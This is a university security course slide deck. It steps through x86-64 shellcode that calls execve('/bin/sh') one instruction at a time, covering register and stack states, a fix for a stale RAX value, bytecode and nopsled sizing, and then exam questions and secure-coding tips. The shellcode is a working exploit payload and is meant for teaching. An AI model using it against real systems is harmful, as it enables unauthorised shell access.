Assignment 5b Software and Web Security March 24 th , 2015 Initial - - PowerPoint PPT Presentation

▶
assignment 5b
SMART_READER_LITE
LIVE PREVIEW

Assignment 5b Software and Web Security March 24 th , 2015 Initial - - PowerPoint PPT Presentation

Aug 13, 2023 201 likes •709 views

Assignment 5b Software and Web Security March 24 th , 2015 Initial state RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP xor %rdx, %rdx RAX 0x???????????????? RBX 0x???????????????? RDX

slide-1
SLIDE 1

Assignment 5b

Software and Web Security March 24th, 2015

slide-2
SLIDE 2

Initial state

RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP

slide-3
SLIDE 3

xor %rdx, %rdx

RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP

slide-4
SLIDE 4

xor %rdx, %rdx

RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP

slide-5
SLIDE 5

xor %rdx, %rdx

RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

slide-6
SLIDE 6

mov $0x68732f6e69622f2f, %rbx

RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

slide-7
SLIDE 7

mov $0x68732f6e69622f2f, %rbx

RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

slide-8
SLIDE 8

mov $0x68732f6e69622f2f, %rbx

RAX 0x???????????????? RBX 0x68732f6e69622f2f RDX 0x0000000000000000 RDI RSI stack RSP

slide-9
SLIDE 9

shr $0x8, %rbx

RAX 0x???????????????? RBX 0x68732f6e69622f2f RDX 0x0000000000000000 RDI RSI stack RSP

slide-10
SLIDE 10

shr $0x8, %rbx

RAX 0x???????????????? RBX 0x68732f6e69622f2f RDX 0x0000000000000000 RDI RSI stack RSP

slide-11
SLIDE 11

shr $0x8, %rbx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack RSP

slide-12
SLIDE 12

push %rbx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack RSP

slide-13
SLIDE 13

push %rbx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack RSP

slide-14
SLIDE 14

push %rbx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-15
SLIDE 15

mov %rsp, %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-16
SLIDE 16

mov %rsp, %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-17
SLIDE 17

mov %rsp, %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-18
SLIDE 18

mov %rsp, %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-19
SLIDE 19

push %rdx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-20
SLIDE 20

push %rdx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f RSP

slide-21
SLIDE 21

push %rdx

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 RSP

slide-22
SLIDE 22

push %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 RSP

slide-23
SLIDE 23

push %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 RSP

slide-24
SLIDE 24

push %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-25
SLIDE 25

push %rdi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-26
SLIDE 26

mov %rsp, %rsi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-27
SLIDE 27

mov %rsp, %rsi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-28
SLIDE 28

mov %rsp, %rsi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-29
SLIDE 29

mov %rsp, %rsi

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-30
SLIDE 30

mov %0x3b, %al

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-31
SLIDE 31

mov %0x3b, %al

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-32
SLIDE 32

mov %0x3b, %al

RAX 0x000000000000003b RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-33
SLIDE 33

syscall

RAX 0x000000000000003b RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-34
SLIDE 34

syscall

RAX 0x000000000000003b sys execve RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

sys execve(char *filename, char *argv[], char *envp[]);

slide-35
SLIDE 35

syscall

RAX 0x000000000000003b sys execve RBX \0hs/nib/ RDX 0x0000000000000000 RDI RSI stack \0hs/nib/ 0x0000000000000000 0x???????????????? RSP

sys execve(char *filename, char *argv[], char *envp[]);

slide-36
SLIDE 36

syscall

RAX 0x000000000000003b sys execve RBX /bin/sh\0 RDX 0x0000000000000000 RDI RSI stack /bin/sh\0 0x0000000000000000 0x???????????????? RSP

sys execve( “/bin/sh” , [“/bin/sh”], NULL);

slide-37
SLIDE 37

Lies!

Actually, I lied a bit.

slide-38
SLIDE 38

mov %0x3b, %al

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-39
SLIDE 39

mov %0x3b, %al

RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-40
SLIDE 40

mov %0x3b, %al

RAX 0x??????????????3b RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack 0x0068732f6e69622f 0x0000000000000000 0x???????????????? RSP

slide-41
SLIDE 41

Bugfix:

Ensure that RAX contains 0x0000000000000000. How?

slide-42
SLIDE 42

xor %rax, %rax

RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

slide-43
SLIDE 43

xor %rax, %rax

RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

slide-44
SLIDE 44

xor %rax, %rax

RAX 0x0000000000000000 RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

slide-45
SLIDE 45

Bytecode

◮ The bytecode for this is 0x48 0x31 0xc0. ◮ The shellcode gets 3 bytes longer. ◮ So the nopsled should be 3 bytes shorter.

slide-46
SLIDE 46

Exam Questions

◮ We won’t ask you to write a working exploit using pen and

paper.

◮ But you are expected to be able to answer some questions

about exploiting a vulnerability.

slide-47
SLIDE 47

Exam Questions

For example: Why won’t the first shown exploit of assignment 5 work when exploiting a buffer copied with strcpy?

slide-48
SLIDE 48

Takeaways

◮ Use the tools you have at your disposal.

◮ valgrind ◮ address sanitizer ◮ debuggers (gdb, lldb) ◮ ...

◮ Read the documentation! ◮ Do not trust input, and be aware of where all your inputs

come from!

◮ C is unforgiving and doesn’t care if you shoot yourself in the

foot.

slide-49
SLIDE 49

Pointer confusion

What does this code do?